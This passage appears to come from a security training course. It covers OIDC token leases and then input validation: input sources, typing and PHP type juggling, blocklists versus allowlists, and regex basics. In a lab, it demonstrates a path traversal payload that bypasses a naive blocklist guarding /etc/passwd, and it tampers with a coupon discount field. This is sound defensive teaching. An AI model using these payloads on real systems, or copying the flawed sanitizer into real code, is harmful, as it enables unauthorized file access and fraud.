how the example OIDC lease doesn't expose as much PII information as a
SAML 2.0 assertion. This isn't always the case - some implementations
of OIDC may also include more data. The example OIDC lease also
doesn't contain a digital signature like the SAML 2.0 example, but
instead, has some more compact strings including a token.
The token is provided after successful authentication and represents
the authorization. The token itself can be used by the client
or client software to access the service provider resource for a
configured period of time before the token expires.
{
"request_id": "c624533b-c6ad-732d-c4s1-17aa18b88cd6",
"lease_id": "",
"renewable": false,
"lease_duration": 0,
"data": null,
"wrap_info": null,
"warnings": null,
"auth": {
"client_token": "s.TWRJ1dMCIo1g3BM70rj3V2kc",
"accessor": "zoY1rht813rTlWZwaagDXnBe",
"policies": [
"default"
],
"token_policies": [
"default"
],
"metadata": {
"role": "group-2"
},
"lease_duration": 2764800,
"renewable": true,
"entity_id": "82b10fef-c214-5eba-2323-51647fe35a23",
"token_type": "service",
"orphan": true
}
}
Listing 19 - Example OIDC JSON token lease
The token lease JSON example would then be parsed and the token used
to access the resource. If a file like this were to be discovered
by an adversary, the token could potentially be collected and used.
Although, in many OIDC systems, the token is short-lived so the
adversary likely would need to act fast to utilize it. If the OIDC
configuration allows long-lived tokens, the adversary has more time to
attempt to use the acquired token.
Companies can deploy any (or a combination) of the above single
sign-on solutions, or others. OAuth, OpenID, and SAML can also
be implemented along with Active Directory (AD),[440]
LDAP,[441] or other identity and access systems. Factors like
purpose, software compatibility, and business needs may influence
which solution or solutions are better to implement for a given
architecture.
There are more technologies to implement SSO, and we don't have to
pick just one. SSO solutions will frequently use multiple protocols
together. It is rare that we truly have a single sign-on. Most
commonly, SSO is only a specific scope of assets for an individual
and within an organization. It is normal and not always a bad thing
to have multiple scopes of authority. We typically have one scope of
identity for workstations and servers in an organization and another
for external users and public application assets.
Input Validation Fundamentals
In this Learning Module, we will cover the following Learning Units:
- User-controlled Input
- Validating Input
Every interaction that users have with our applications is translated
into some sort of input that we need to process. Although we expect
that users will follow the expected way to interact with the platform,
we need to define some safeguards so that we can have the assurance
that the values will not cause unintended side effects in regards to
both the usability and the security of our system. If the inputs our
application receives are incorrect, the output to the user will be as
well.[442]
We are going to explore the different ways we can receive user input
and analyze the ways different programming languages approach
variable typing.[443] The data type of variables we use to
store values can influence the way comparisons take place.
Finally, we are going to explore techniques that we can use to
minimize risks while accepting user-controlled data.
User-Controlled Input
This Learning Unit covers the following Learning Objectives:
- Explore the possible origins of user-controlled data
- Understand the implications of where user-controlled data is used
- Analyze the implications of typing in different programming languages
Most websites require user input. Even static websites such as blogs
rely on user input in the form of articles or post IDs, even if that
ID is mapped from an SEO-optimized[444] URL.
In the case of a blog, other optional values might also be part of the
request. Although those values are not indispensable to the core
functionality, they are still included in the requests users (or their
browsers) send our application. UTM parameters[445]
are instances of these optional, yet common, values.
In the example we just explored, we limited the input to the URL that
is used to access the content. However, there are other sources of
user-controlled input.
User input is most often received through dynamic URL paths, URL
query strings,[446] POST payload requests,
or HTTP headers. Let's explore examples of these, starting with a URL
path.
https://www.offsec.com/labs/individual/
Listing 1 - Dynamic URL paths
Web applications need to handle URLs to determine what content to
return to the requester. In some cases, the URL's path corresponds to
a directory structure on the application server's file system. Most
modern web applications use HTTP routing[447] to map the
request path to the corresponding response content. In the case of
informational sites and blogs, those dynamic paths are called URL
slugs.[448] The URL shown above in Listing
1 could reference a directory on the server or
may use HTTP routing to reference content.
Query strings are another way to receive data via the URL. They are
key-value pairs that start with the character ? and are separated
by the character &.
https://www.offsec.com/courses/web-300/?utm_campaign=pg_90_day_sku&utm_medium=hs_email
Listing 2 - Query Strings
Listing 2 presents a URL with a query string that
has two parameters: utm_campaign and utm_medium. These parameters
must be URL encoded[449] and they should
not be too long. Although RFC 2616[450] does not define
limits for URL sizes, different browsers have imposed varying
limitations.[451] The safe approach is not
to go beyond a limit of 2048 characters. If the data we expect from
our users could exceed that limitation, we should consider a different
approach.
In some cases, especially in RESTful APIs,[452] URL paths
and query strings can be used to achieve the same goal. For instance,
an API could have a /users/{id} endpoint where "{id}" is replaced
at runtime with the user's numeric identifier. If we defined our code
to receive the same parameter as a query string, the URL would have
the structure: /users?id={id}. Either option can be effective;
it's merely a matter of preference.
We can also send user input via the request's body by using methods
such as POST and PUT. Sending parameters this way offers more
flexibility than query strings. Similar to a query string, we can
send data as key-value pairs. Depending on the type of data we want
to send, we may need to use different
Content-Type[453] values. In the case of
key-value pairs, we can use application/x-www-form-urlencoded.
In cases where users can upload files, we can include these in the
request body as well. However, we need to use the
multipart/form-data Content-Type. This adds some overhead to the
request, but it allows us to include both key-value pairs and files.
We can also send a JSON[454] payload as the only
element of the request's body using the application/json
Content-Type.
HTTP headers can also be used to collect user input. In most cases,
HTTP headers contain metadata[455] key-value
pairs that describe the request. Some common headers include
Content-Type, which describes the contents of the body, and
User-Agent, which contains a string that identifies the web client
that the client is using to perform the request.
Besides metadata, HTTP headers can also contain authentication and
authorization data, such as JSON Web Tokens.[456]
Let's review an example. To follow along, we'll start the VM in the
Resources section at the bottom of this page. We need to create an
entry in our /etc/hosts file so that we can access the VM.
kali@kali:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
192.168.50.156 inputvalidation
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Listing 3 - Editing our hosts file
Using this configuration, we'll be able to connect to the VM via the
browser and use a web-based IDE to read code.
Let's open a browser and navigate to http://inputvalidation:8085/,
a demo site we can use that displays some typical input sources. We
should note that this website does not validate the values it
receives, it only displays them.
Not all the fields are populated. The URL does not have query string
parameters, so those are empty. The POST values are empty as well.
However, the headers are populated. There is also a path info value,
even though it's not part of our URL. This value was defined as a
default value. We'll later analyze the source code to better
understand why it's there.
The button titled Send POST Parameters will submit an HTML form.
Let's analyze the code of the form. To display the code, we'll
right-click the button and select the Inspect option.
Both Chrome and Firefox will open the Web Developer Tools so that we
can explore the source code of the page, specifically highlighting the
component that we selected before clicking on Inspect.
<form action="/another-path?refresh=true" method="post" style="padding-top:0px">
<input type="hidden" name="post_param" value="form value">
<button type="submit" class="btn btn-primary">Send POST parameters</button>
</form>
Listing 4 - Form to submit values to Input Echoer
The action of the form indicates that it will send the value to a
different path that includes a URL query string. The form tag also has
an attribute that specifies a POST submission.
It is worth noting that the enctype attribute (which defines how the
values should be encoded) is absent. This means that we'll use the
default encoding (application/x-www-form-urlencoded).
Inside the form tag, we'll find post_param, a hidden input control,
which is set to a preset value. The form tag also includes a submit
button.
Let's close the Web Developer Tools and click on Send POST
Parameters.
After clicking the button, all of the fields will be populated. We'll
note that the path info and the URL parameters sections correspond to
the URL in the form's action. The POST parameters field contains the
value of the hidden input.
Let's analyze the headers focusing on the User-Agent (which browsers
populate) and that can convey whether or not the browser supports
specific features.
Ideally, different applications should use different strings for this
value. However, this is not always the case. In fact, some attack
tools, such as Sqlmap,[457] allow the attacker
to change the User-Agent so sqlmap can pose as a different
application. Most header values can be modified by users, so they
should not be trusted without verifying them first.
Another interesting header is the Content-Type, which specifies the
default enctype that forms use. This means the POST values were
sent in the request body as a query string.
Next, let's inspect the site's code using VSCode. We can access a
browser-based version of VSCode on our VM by port forwarding through
an SSH tunnel. We'll use ssh, setting -N to not execute a
remote command, then enable port forwarding with -L followed by
our local port (8080), the IP address, and port on the remote host. If
this is our first time connecting to the host with SSH, we will be
prompted to continue connecting after reviewing the host's key
fingerprint.
kali@kali:~$ ssh -N -L 0.0.0.0:8080:127.0.0.1:8080 student@inputvalidation
The authenticity of host 'inputvalidation (192.168.50.156)' can't be established.
ED25519 key fingerprint is SHA256:pA6AusEU0+Eh9C+NR4pnQgWPcELUtuCmXfynHiuSZkk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'inputvalidation' (ED25519) to the list of known hosts.
student@inputvalidation's password:
Listing 5 - Forwarding port 8080 through an SSH tunnel
Now that we have created our tunnel, we can access VSCode on port 8080
of our localhost.
Let's navigate to
http://localhost:8080/?folder=/home/student/input_echoer and open
the file app.py.
File: /home/student/input_echoer/app.py
...
08: @app.route('/', defaults={'slug': 'home'})
09: @app.route('/<slug>', methods = ['POST', 'GET'])
10: def index(slug):
11: headers = request.headers
12: url_params = request.args.items()
13: post_params = request.form.items()
14: response = make_response(render_template("index.html", headers=headers, url_params=url_params, slug=slug, post_params = post_params))
15: return response
...
Listing 6 - Input Echoer source code
Lines 8 and 9 contain decorators[458]
that specify which paths the index() function will handle. Line 8
also contains a default value, which explains why the variable that
contains the path info had the value of "home" even though we did not
set an explicit path.
Line 9 contains a slug variable that receives any possible value and
sends it to the index() function.
Lines 11-13 retrieve the values of the headers, query string, and
POST parameters, respectively, then assigns them to variables.
Finally, line 14 passes those values to the template that renders the
HTML.
Now that we have explored sources of input, let's analyze their
destinations. In the context of applications, when we have a data
flow, the destination of the data is known as a
sink.[459] Examples of user input sinks include a
database, logs, or the contents of rendered HTML.
Each of these sinks can pose different risks and requires different
controls. For instance, when user-controlled input is rendered as-is
in our HTML, a user could include Javascript or HTML code in a
Cross-Site Scripting (XSS)[460] attack. When
user-controlled input is stored in a database, the two main risks are
SQL injection[461] and persistent XSS.
In cases where the sink is a log file, the application may be
vulnerable to log injection.[462]
Depending on the situation, log injection can create two possible
scenarios: forging and poisoning.
Log forging occurs when user-controlled input can be crafted in such
a way that, when stored in a log file, the input appears to be an
additional valid entry. This can create an integrity risk because it
might seem like a non-existent event took place; in some cases, that
addition may even corrupt our log file.
Log poisoning can take place when an attacker exploits a local file
inclusion (LFI)[463] vulnerability and can also
inject data into a log. By chaining these two exploits, an attacker
may be able to obtain remote code execution
(RCE).[464]
We should also be aware of a vulnerability known as command
injection.[465] This risk occurs when an attacker
can append arbitrary commands to a string that is evaluated as system
commands. To prevent this risk, we need to avoid using functions that
receive strings to execute system commands or that evaluate strings to
execute runnable code. If our use case requires this, we must not
concatenate strings that will be executed to user-controlled input.
Not every value is meant to be a parameter. We need to consider that
our business logic should not be altered by user input. Some values
that could create some risks if they are modified by users include
user roles that are not backed by a token, discount percentages,
product prices, and payment totals.
Let's analyze an example. In this example, we have a mock endpoint
that simulates the functionality of applying a coupon on an E-Commerce
site.
To call the service, we'll use curl[466] and the
URL of our server. We'll use -X to set the request method to
POST, use -H 'accept: application/json' and -H
'Content-Type: application/json' to set two headers indicating our
preference for JSON return data, and finally, set our request's
payload with -d '{"couponId": "IWANTPIZZA5","orderId":
52142,"discountType": 1,"discountValue": 5}' to set our coupon ID,
discount type, and discount value.
kali@kali:~$ curl http://inputvalidation:8088/applycoupon -X POST -H 'accept: application/json' -H 'Content-Type: application/json' -d '{"couponId":"IWANTPIZZA5","orderId": 52142,"discountType": 1,"discountValue":5}'
{"success":true,"message":"The coupon was applied successfully"}
Listing 7 - Consuming an endpoint to apply a coupon
Within the payload of the request, the name of the coupon is very
descriptive, which is meant to prevent coupon name guessing, but the
payload also includes a numeric value with the actual discount
amount.
This creates a risky scenario. If an attacker analyzes traffic from a
legitimate coupon request, they could modify the discountValue in
the request to modify the coupon. This effectively bypasses the
application's business logic.
Let's analyze the source code by using our ssh tunnel to access
VSCode. We'll browse to
http://localhost:8080/?folder=/home/student/unnecessary_input and
open app.py.
File: /home/student/unnecessary_input/app.py
26: @app.post("/applycoupon")
27: def apply_coupon(couponRequest: ApplyCouponRequest, response: Response):
28: if not mock_authentication_authorization():
29: response.status_code = status.HTTP_403_FORBIDDEN
30: return {"success": False, "message": "Unauthorized"}
31: mock_apply_discount(couponRequest.couponId, couponRequest.discountType, couponRequest.discountValue)
32: return {"success": True, "message": "The coupon was applied successfully"}
Listing 8 - Analyzing unnecessary parameters
On line 31, there's a function call using the discountValue
parameter that was received from the user. However, to minimize risks,
it would have been better to use the couponId to obtain the
parameters associated with that coupon, which would return the
expiration date and percentage.
To achieve this, we could define a database table where we can store
all the values associated with our coupon. With that, we can use the
couponId as a search field to obtain the discount percentage with the
certainty that the value is under our control.
In some cases, the benefits of validating input may not be apparent
immediately. For instance, if an application or service only stores
user-controlled data, it might not seem urgent to handle it properly
against other risks such as XSS because its immediate sink is a
database. However, if that stored data is eventually used by another
service, the unsanitized data of the service that only stored it could
result in the exploitation of the service that displays it. This is
known as a second order injection.[467]
There are many ways to obtain data from users. Depending on the
situation, we should use different approaches. In general, parameters
that are query strings should be favored for filtering, POST
parameters are more suited for transactional purposes, and headers are
more suited for metadata and special use cases, such as authorization
tokens.
Now that we've discussed the sources of user-controlled input, let's
analyze how we store that data in memory and the nuances of the
approach we follow when we manipulate data in different programming
languages. This is especially important when we need to compare
values, which is one of the key components of input validation.
Variables are one of the first concepts that we cover whenever we are
learning a new programming language; without them, we would not have a
way to store values. Some programming languages require explicit
declarations that include the data types[468] of
our variables, while other languages (like JavaScript and Python)
allow us to use variables without declarations.
JavaScript has an expression called 'use strict';,[469]
which, among other things, forces us to declare variables before using
them.
There are two classifications of data typing we are going to explore.
These are static and dynamic typing,[470] and
weak or strong typing.[471] Let's start with
the first classification.
When a programming language has static typing, it requires declaring
the type of variables before using them, and that's the only type of
value they can accept. This also means that the verification of values
assigned to variables occurs at compile time, not at runtime.
In contrast, dynamically typed languages check variable typing at
runtime, and don't require specifying a type when declaring a
variable. The program infers the variable's type based on the value
that is being assigned.
PHP and Python are examples of dynamically typed languages. On the
other hand, Java and C are statically typed languages.
In some programming languages, a variable can change its data type at
runtime. This is something we'll need to account for while validating
input. Let's review the same algorithm implemented both in Python and
Java to get a better idea of how they differ.
If it's not still running, let's create our ssh tunnel again, visit
http://localhost:8080/?folder=/home/student/typing, and open
main.py. We'll also need another ssh session to our VM to be able
to execute or compile our scripts.
Since Python 3.5, Python has type-hinting. However, even if we
used it, the behavior we'll explore remains the same.
File: /home/student/typing/main.py
01: #!//bin/env python3
02: def main():
03: print("A Python example")
04: var1 = 0
05: print(f"The variable 'var1' contains: {var1}")
06: var1 = "A string value"
07: print(f"The variable 'var1' contains: {var1}")
08:
09: if __name__ == "__main__":
10: main()
Listing 9 - Python and dynamic typing
On lines 4 and 6, we can observe that the same variable contains data
of different types. This is fine in Python, and the interpreter should
not throw any errors or exceptions because of that. Let's try this
out.
student@inputvalidation:~/typing$ python3 /home/student/typing/main.py
A Python example
The variable 'var1' contains: 0
The variable 'var1' contains: A string value
Listing 10 - Execution of main.py
The same variable stored an integer and later a string, and the
program ran successfully. This is how a dynamically-typed language is
supposed to behave.
Let's try the same thing we did in Python, but now with Java.
File: /home/student/typing/main.java
01: class Main{
02: public static void main(String[] args){
03: System.out.println("A Java example");
04: int var1;
05: var1 = 0;
06: System.out.println("The variable 'var1' contains: " + var1);
07: var1 = "A string value";
08: System.out.println("The variable 'var1' contains: " + var1);
09: }
10: }
Listing 11 - Java and static typing
On line 4, the variable var1 is declared as an int, and we use it as
an int on line 5. However, on line 7, we try to assign a string to it.
This is not allowed in statically-typed languages. Let's try to
compile (and run) this file with the java command.
student@inputvalidation:~/typing$ java /home/student/typing/main.java
/home/student/typing/main.java:7: error: incompatible types: String cannot be converted to int
var1 = "A string value";
^
1 error
error: compilation failed
Listing 12 - Compilation of main.java
As expected, the class did not compile, and because of the compile
error, it didn't run either.
As we mentioned earlier, besides static and dynamic typing, there is
another classification we need to analyze: strong and weak typing.
Static and dynamic typing focus more on the flexibility of a variable
to accept values of different types. On the other hand, weak and
strong typing focus on how likely a programming language is to
cast[472] or transform the data to a different
data type. Strongly typed languages do not automatically convert
values without an expression that defines that conversion. Weakly
typed languages allow implicit conversions.
The nature of a programming language as weak- or strongly-typed
influences how variables of different types behave when arithmetic
operations and comparisons occur. We might run into situations where a
language could interpret equalities even though values are seemingly
different to us. This is a risk we need to be aware of while we are
validating input.
Let's start our analysis with Python, a strongly-typed language.
student@inputvalidation:~$ python3
Python 3.10.4 (main, Apr 2 2022, 09:04:19) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>10+1
11
>>>"10"+1
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: can only concatenate str (not "int") to str
Listing 13 - Examples of Python operations
The first operation between two integers works without issues.
However, if we try to use a numeric string, such as "10" and add it
to an integer, the interpreter tells us that we can't concatenate an
int to a string. Strongly-typed languages do not automatically convert
values without an expression that defines that conversion.
However, in a strongly-typed language like Python, we can
cast[472-1] (or transform) the data to a different
data type.
>>> int("10")+1
11
>>> exit()
Listing 14 - Explicit casting of a string value (Python)
To successfully execute the operation, we need to explicitly cast the
numeric string to an integer using int(), and then we'll be allowed
to perform arithmetic operations with it.
There's a special case in which Python allows multiplication
involving a string and an integer without casting. If we multiply a
string by a positive integer, the result is a new string with the
repetition of the provided string parameter, depending on the number
of times indicated by the integer we provided.
Let's analyze a similar scenario with JavaScript, which is a
weakly-typed programming language.
student@inputvalidation:~$ nodejs
Welcome to Node.js v12.22.9.
Type ".help" for more information.
> 10+1
11
> "10"+1
'101'
Listing 15 - Examples of Javascript operations
The first operation between two integers in Listing
15 yields the expected result. The next
operation contains a numeric string, which does not perform addition
but rather string concatenation. Let's try subtraction.
> "10"-1
9
> .exit
Listing 16 - Implicit casting of a string value (Javascript)
In the first operation, JavaScript implicitly cast the string to an
integer, producing the expected result. This is because weakly-typed
languages allow implicit conversions.
We can also explicitly cast the previous addition operation by using
parseInt():
> parseInt("10")+1
11
> .exit
Listing 17 - Explicit casting of a string value (Javascript)
When explicitly cast, the operation performed addition on the integers.
When we use weakly-typed languages, we need to make sure we understand
the implicit casting (or type coercion[473]) that the
language offers to avoid unexpected results at runtime.
To demonstrate the unexpected behavior this can cause, we'll work
through a demonstration of type juggling, a form of type coercion in
PHP, another weakly-typed language. We'll begin with a demonstration
of type juggling using PHP version 5.6.
student@inputvalidation:~$ php5.6 -a
Interactive mode enabled
php > var_dump('0xff'== 255);
bool(true)
php > var_dump('0e1297452589' == 0);
bool(true)
php > exit
Listing 18 - Type juggling in comparisons - PHP 5.6
For both commands in Listing 18, we used the
var_dump() function as a way to print the result of our
conditionals. The first command compares a hexadecimal string with its
decimal value and returns true because 0xff is 255 in decimal. The
second example uses scientific notation[474] as a
string and compares it to a number.
Scientific notation consists of expressing a very large or a very
small number in a simplified way by writing it as a product of two
numbers. The first factor (mantissa) is a number usually in the
interval of (1 <= mantissa < 10), which is multiplied by a power of
ten. In our example, the mantissa is 0, so even though it is being
multiplied by a very large number, the result will still be zero. This
is why the condition evaluates to true.
The second example of type juggling we just tested is particularly
dangerous, and has been exploited (CVE-2020-8088[475] was
caused by this).
Let's analyze the same operations with a different version of PHP.
We'll use PHP 8.
student@inputvalidation:~$ php -a
Interactive mode enabled
php > echo phpversion();
8.2.3
php > var_dump('0xff'== 255);
bool(false)
php > var_dump('0e1297452589' == 0);
bool(true)
php > exit
Listing 19 - Type juggling in comparisons - PHP 8
The call to phpversion(); is not necessary. It's just to emphasize that
we are running PHP 8.
Although the first behavior that compared a hex string to an integer
was changed in PHP 8, the second comparison remained the same.
However, there is a way to mitigate the issue. Let's explore how.
In PHP (and in JavaScript), there are two types of equality
comparisons: loose and strict.[476] The operators that
we need to use to make loose or strict comparisons are different, as
specified in the PHP documentation.[477]
| Operator name | Loose | Strict |
|---|---|---|
| Equal | == | === |
| Not equal | != | !== |
Table 1 - Loose and strict equality operators
All of the comparisons we made in Listings 18 and
19 were loose comparisons. This means that they rely
on type juggling and only validate the equality after type juggling
has occurred.
Let's analyze an official table from PHP's documentation that explains
the results of loose comparisons in different scenarios.
In our example, we compared a string that evaluated to 0 with an
integer 0. According to the table above, this should return TRUE,
which it did.
Now let's inspect the table for strict comparisons.
The main characteristic of the strict comparisons table (with ===)
is that to get a TRUE result, values need to be equal and also have
the same type. This is why, in our case, a "0" string would not have
been strictly equal to a 0 integer. Let's try it out.
student@inputvalidation:~$ php -a
Interactive mode enabled
php > var_dump('0e1297452589' === 0);
bool(false)
php > exit
Listing 20 - Strict comparison in PHP 8
In this case, the comparison returned false because the variable types
are not the same.
To prevent risks caused by type juggling, if we are not explicitly
casting our variables before comparing, our best defense is to compare
using strict comparison operators.
Another instance of coercion is when we use values of different types
as if they were booleans. When we do this, we rely on a particularity
called truthy[478] and falsy.[479]
Every language has different rules for truthy and falsy values. Just
to name a few examples, in JavaScript, the values 0, empty arrays, and
empty strings ("") are considered FALSE.
This can be a problem because if we compare truthy or falsy values
with loose comparisons, we might get unexpected results. Let's explore
some examples.
student@inputvalidation:~$ nodejs
Welcome to Node.js v12.22.9.
Type ".help" for more information.
> 0==false
true
> 0==[]
true
> 0==""
true
Listing 21 - Comparing falsy values with Javascript
As presented in Listing 21, some results of the
values of the comparisons could be confusing and might cause bugs in
our code if we are not careful. This is why, in JavaScript, we also
need to use strict comparisons.
To summarize, we need to be careful when we perform calculations in
weakly-typed languages. We need to understand how unexpected outputs
will be processed. It's critical that we are aware of our language's
default behavior. For instance, while performing arithmetic operations
with a string in PHP, if it starts with a number, it will truncate
every non-numeric character before the conversion.
While performing validations, especially when we compare values
in weakly-typed languages, we need to understand the rules each
programming language applies before proceeding. When we compare, we
should prefer strict comparisons, otherwise, we might get unexpected
results when we compare truthy or falsy values, or when the language
performs coercion.
Validating Input
This Learning Unit covers the following Learning Objectives:
- Understand how to use blocklists and allowlists, as well as their advantages and disadvantages
- Explore the syntax of Regular Expressions
- Understand how to validate file uploads
- Explore semantic validations
Now that we better understand typing and its nuances, we can make
typing work in our favor when we are validating input. For instance,
in a static- and strongly-typed language such as Java, if we know that
the value we are expecting from our users is a numeric id, then we can
store it as an int, and by doing so, we immediately eliminate many
injection possibilities.
In contrast, when we are using weakly-typed languages, we need to
verify the typing of the data we are receiving so that we don't rely
on coercion when we perform operations with it. This can be achieved
with functions such as is_numeric(). However, even if we validate
the typing of our inputs, using strict comparisons should always be
our last line of defense.
Let's investigate more techniques we can use to place restrictions on
the data we receive so that users can't supply unexpected values.
When we have an idea of specific values that we want to disallow, we
can implement a blocklist.[480] Following this approach,
we can inspect user input to identify characters or strings that we
consider unacceptable.
A fundamental concern when using blocklists is that the list of
undesirable values typically needs to be extensive. If the blocklist
does not contain a value that could help an attacker bypass the
control we are trying to implement, the blocklist stops being useful.
Some websites only allow specific characters for passwords.
However, injections in password fields should not be a concern for us
if we hash[481] them before use.
When we implement a blocklist, there are two common approaches we can
follow. We can reject the input and have the user submit a new one, or
we could try and sanitize it by replacing the values we don't consider
acceptable. Let's work through an example.
We need to make sure our ssh tunnel is still active, then we'll browse
to http://localhost:8080/?folder=/home/student/lists/examples:
File: /home/student/lists/examples/blocklist.py
01: import sys
02: def main():
03: available_files = ["public.txt", "public2.txt", "public3.txt"]
04: print("Only available files: " + " ".join(available_files))
05: file_name = input("Please enter the file you need to read > ")
06: file_name = file_name.replace("../", "")
07: file_name = file_name.replace("/etc/hosts", "")
08: file_name = file_name.replace("/etc/passwd", "")
09: try:
10: with open(file_name,"r") as a:
11: print(a.read())
12: except FileNotFoundError as e:
13: print(f"The file {file_name} was not found")
14:
15: if __name__=="__main__":
16: main()
Listing 22 - Blocklist Python code
In this example, from lines 6-8, we are targeting the string "../",
which attackers can use to traverse directories on Unix systems (in
this case, to search for files above the current directory). It also
intends to block two particular files: /etc/hosts and
/etc/passwd. The code from lines 6-8 will delete those strings if
it finds them. Once the filename has been processed, the code will
print the contents of the file.
student@inputvalidation:~$ cd /home/student/lists/examples/
student@inputvalidation:~/lists/examples$ python3 /home/student/lists/examples/blocklist.py
Only available files: public.txt public2.txt public3.txt
Please enter the file you need to read > public.txt
contents1
Listing 23 - Normal execution of a script with a blocklist
In this case, the code ran and displayed the content of the file, just
as expected. Next, we'll try including the traversal string (../)
as part of the file name.
student@inputvalidation:~/lists/examples$ python3 /home/student/lists/examples/blocklist.py
Only available files: public.txt public2.txt public3.txt
Please enter the file you need to read > ../../../../etc/hostname
The file etc/hostname was not found
Listing 24 - Malicious execution of a script with a blocklist
Our example seems to work. When we tried to navigate to
/etc/hostname, the string containing the path was sanitized.
Next, we will try to bypass the blocklist. Instead of using the
traversal string, we will try to include other strings ("../"
and "..././").
student@inputvalidation:~/lists/examples$ python3 /home/student/lists/examples/blocklist.py
Only available files: public.txt public2.txt public3.txt
Please enter the file you need to read > ..././..././..././..././etc/hostname
inputvalidation
Listing 25 - Bypassing a blocklist in Python
After providing our input, we obtained the contents of
/etc/hostname in Listing 25. We can be
certain that the output is correct because the prompt of our command
line contains the hostname of our virtual machine after the "@"
character.
In Listing 25, the control was bypassed
by using sanitization as a way to help craft the malicious payload.
To be able to read /etc/hostname, an attacker would need to
get to the string "../" that was initially submitted on Listing
24.
Let's put ourselves in the position of the attacker. We need to use
the replacement in our favor. To get to the traversal string even
after sanitization, for every "../" required to navigate to the root
of the filesystem, we can craft a string that becomes "../" after
substitution.
For instance, let's start with the string "a../aa". If we execute
the replacement of the validation, we'll get aaa. Now instead of
three instances of the letter a, let's split our target "../" into
two parts, "." and "./". After splitting the value, we can use a
decoy "../" that is meant to be deleted. We can place that decoy
string in the middle of our two parts, and our new string should be
"..././".
By using that new string as our traversal sequence, we can repeat
it many times, then simply append the rest of the path, which is
"etc/hostname". After the replacement takes place, the payload
in Listing 25 generates the string
"../../../../etc/hostname", which explains how we could retrieve the
contents of the file.
There are two considerations that we need to have in mind before
implementing a blocklist:
-
We need to be thorough with the values that are part of our
blocklist. If an attacker finds an alias or a creative way to get to
that same result, then our blocklist will be bypassed. Even in our
example, we used /etc/hosts and not /etc/hostname as part of
our blocklist, even though both were meant to be private. -
Cleaning input by removing values inside a blocklist is a
good approach, but can also create some paths for attackers
to inject malicious values, as we explored in Listing 25.
If the situation allows it, it is preferable to reject invalid input.
To summarize, the implemented sanitization inadvertently converted the
string in Listing 25 into the string that
was initially rejected on Listing 24.
The main goal of our example was to restrict the user to particular
files in the same directory where the script is running. We could
follow a different approach to achieve this.
We can use allowlists[482] when we want to permit specific
values and reject everything else. In this case, the risk is minimized
because we know for certain which values will be acceptable. There is
no need to extensively think about values that an attacker might use.
If they are not part of our list, then we can be sure they won't be
accepted.
Let's analyze an example that would mitigate the issue we had with the
blocklist.
File: /home/student/lists/examples/allowlist.py
01: import sys
02: def main():
03: available_files = ["public.txt", "public2.txt", "public3.txt"]
04: print("Only available files: " + " ".join(available_files))
05: file_name = input("Please enter the file you need to read > ")
06: if not file_name in available_files:
07: print("You are not allowed to access the selected file")
08: sys.exit(1)
09: try:
10: with open(file_name,"r") as a:
11: print(a.read())
12: except FileNotFoundError as e:
13: print(f"The file {file_name} was not found")
14:
15: if __name__=="__main__":
16: main()
Listing 26 - Allowlist Python code
Lines 6-8 contain the implementation of our allowlist. In this case,
we need to highlight that only the files defined on line 3 will be
accessible. Since only specific values should be valid, any input that
does not meet our conditions is rejected. We did not try to sanitize
the input.
Let's execute the code with a normal payload and with a malicious
payload, then compare the results. We'll start with a normal
execution.
student@inputvalidation:~/lists/examples$ python3 /home/student/lists/examples/allowlist.py
Only available files: public.txt public2.txt public3.txt
Please enter the file you need to read > public.txt
contents1
Listing 27 - Normal execution of a script with an allowlist
The first execution of the script provided the contents of the file,
which is the expected result. Now let's try to bypass it to read a
file in a different directory.
student@inputvalidation:~/lists/examples$ python3 allowlist.py
Only available files: public.txt public2.txt public3.txt
Please enter the file you need to read > ../../../../etc/hostname
You are not allowed to access the selected file
Listing 28 - Malicious execution of a script with an allowlist
In this case, we can be certain that even if we try different
payloads, the condition that allows the user to read a file will only
be true if the input is one of the names that are declared on the
allowlist. This means that our control becomes more robust.
Blocklists and allowlists are not universal solutions. They only help
us restrict known values. However, sometimes our needs go beyond that,
especially when working not with values, but with formats or specific
structures that a value needs to have. We'll cover such use cases in
the following sections.
Regular Expressions (regex)[483] are another approach we
can follow when we want to validate input. Regular expressions are
character sequences that contain a format with a particular meaning
that allows a parser to verify if a string matches the format that the
regex encompasses. The main use cases for regular expressions include
searching for values, replacing values inside strings, and input
validation.
Many programming languages and tools (such as grep)[484]
support different syntaxes and standards of regular expressions. The
IEEE POSIX standard[485] has three syntax variations: Basic
Regular Expressions, Extended Regular Expressions, and the
discontinued Simple Regular Expressions.
It is important to note, however, that Perl's[486]
implementation of regular expressions has become the preferred
syntax, and is considered the de-facto standard. Eventually,
a re-implementation was created, which is referred to as Perl
Compatible Regular Expressions (PCRE)[487] and used in many
programming languages. This is the syntax that we are going to
explore.
There are a few concepts that we need to understand before we
continue:
-
Meta characters[488] are characters that have a
particular meaning when used as part of a regex. This means that if
we want to evaluate them as a literal value, we need to
escape[489] them with a backslash (\). -
Groups are sections of our regex enclosed in parentheses. Their
main function is to work as a sub-pattern inside a larger regular
expression. They are particularly useful when we want to specify
precedence. In cases where we have many groups, they are processed
from the inside out (hence the precedence). They are also useful
when we want to make logical decisions such as not and or. -
Quantifiers are auxiliary sequences that help us define if a group
or a character needs to be repeated and how many times. -
Classes enclose a group of characters that will be part of our
search. Any of the characters present in a class will be considered
a match if present in the fragment of the string we are searching
for. To define a class, we use square brackets ([]). As an example,
the class [ae] will match either a or e. -
Lazy means that the regular expression will stop searching when it
first finds an instance of a value that satisfies the search term. -
Greedy means that the regular expression will keep searching until
the last instance of the value that satisfies the search term.
The following table contains common patterns that we can use to create
regular expressions.
| Pattern | Classification | Meaning |
|---|---|---|
| a b c 1 2 3 | Character | Literal alphanumeric characters that are not meta characters, and are written as-is |
| . | Meta character | Match any single character except new line |
| ^ $ | Meta character | These characters are called anchors. They don't represent a value, but a position inside the string. They represent the beginning and the end of a line, respectively. |
| | | Meta character | It's the equivalent of a logical "or" |
| (x|y|z) | Group | Match either x, y, or z |
| [xyz] | Class | Match either x, y, or z |
| xyz | Class | Match anything but x, y, or z |
| [b-g] | Class | Match any character in the range of b-g in the alphabet |
| \s | Class | Match a space, it's the equivalent of [ ] |
| \S | Class | Match any character that is not a space, it's the equivalent of [^ ] |
